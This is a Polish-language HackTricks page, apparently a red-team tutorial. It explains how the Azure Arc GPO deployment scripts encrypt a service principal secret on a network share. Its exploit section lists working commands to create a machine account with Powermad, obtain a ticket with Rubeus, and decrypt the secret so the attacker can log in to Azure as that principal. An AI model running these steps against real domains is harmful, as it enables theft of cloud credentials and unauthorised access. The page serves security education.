Az - Arc podatny skrypt wdrażania GPO
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Identyfikacja problemów
Azure Arc umożliwia integrację nowych wewnętrznych serwerów (serwery dołączone do domeny) z Azure Arc za pomocą metody obiektu zasad grupy. Aby to ułatwić, Microsoft dostarcza zestaw narzędzi do wdrażania niezbędny do rozpoczęcia procedury onboardingu. W pliku ArcEnableServerGroupPolicy.zip znajdują się następujące skrypty: DeployGPO.ps1, EnableAzureArc.ps1 oraz AzureArcDeployment.psm1.
Po uruchomieniu skrypt DeployGPO.ps1 wykonuje następujące czynności:
- Tworzy GPO onboardingu serwerów Azure Arc w lokalnej domenie.
- Kopiuje skrypt onboardingu EnableAzureArc.ps1 do wyznaczonego udziału sieciowego utworzonego na potrzeby procesu onboardingu, który zawiera również pakiet instalacyjny Windows.
Podczas uruchamiania tego skryptu, administratorzy systemów muszą podać dwa główne parametry: ServicePrincipalId oraz ServicePrincipalClientSecret. Dodatkowo wymagane są inne parametry, takie jak domena, FQDN serwera hostującego udział oraz nazwa udziału. Dalsze szczegóły, takie jak identyfikator najemcy, grupa zasobów i inne niezbędne informacje, muszą być również dostarczone do skryptu.
W katalogu AzureArcDeploy na określonym udziale generowany jest zaszyfrowany sekret przy użyciu szyfrowania DPAPI-NG. Zaszyfrowany sekret jest przechowywany w pliku o nazwie encryptedServicePrincipalSecret. Dowody na to można znaleźć w skrypcie DeployGPO.ps1, gdzie szyfrowanie jest wykonywane przez wywołanie ProtectBase64 z $descriptor i $ServicePrincipalSecret jako wejściami. Deskriptor składa się z SID-ów grupy komputerów domenowych i kontrolerów domeny, co zapewnia, że ServicePrincipalSecret może być odszyfrowany tylko przez grupy zabezpieczeń kontrolerów domeny i komputerów domenowych, jak zauważono w komentarzach skryptu.
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
$descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)
Exploit
Mamy następujące warunki:
- Sukcesywnie przeniknęliśmy do wewnętrznej sieci.
- Mamy możliwość utworzenia lub przejęcia kontroli nad kontem komputera w Active Directory.
- Odkryliśmy udział sieciowy zawierający katalog AzureArcDeploy.
Istnieje kilka metod uzyskania konta maszyny w środowisku AD. Jedną z najczęstszych jest wykorzystanie kwoty konta maszyny. Inną metodą jest kompromitacja konta maszyny poprzez podatne ACL lub różne inne błędne konfiguracje.
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
Po uzyskaniu konta maszyny możliwe jest uwierzytelnienie się za pomocą tego konta. Możemy użyć polecenia runas.exe z flagą netonly lub użyć pass-the-ticket z Rubeus.exe.
runas /user:fake01$ /netonly powershell
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
Mając TGT dla naszego konta komputera przechowywane w pamięci, możemy użyć następującego skryptu do odszyfrowania sekretu głównego usługi.
Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"
$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs
Alternatywnie, możemy użyć SecretManagement.DpapiNG.
W tym momencie możemy zebrać pozostałe informacje potrzebne do połączenia z Azure z pliku ArcInfo.json, który jest przechowywany w tym samym udostępnionym zasobie sieciowym co plik encryptedServicePrincipalSecret. Plik ten zawiera szczegóły takie jak: TenantId, servicePrincipalClientId, ResourceGroup i inne. Z tymi informacjami możemy użyć Azure CLI do uwierzytelnienia się jako skompromitowany service principal.
References
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

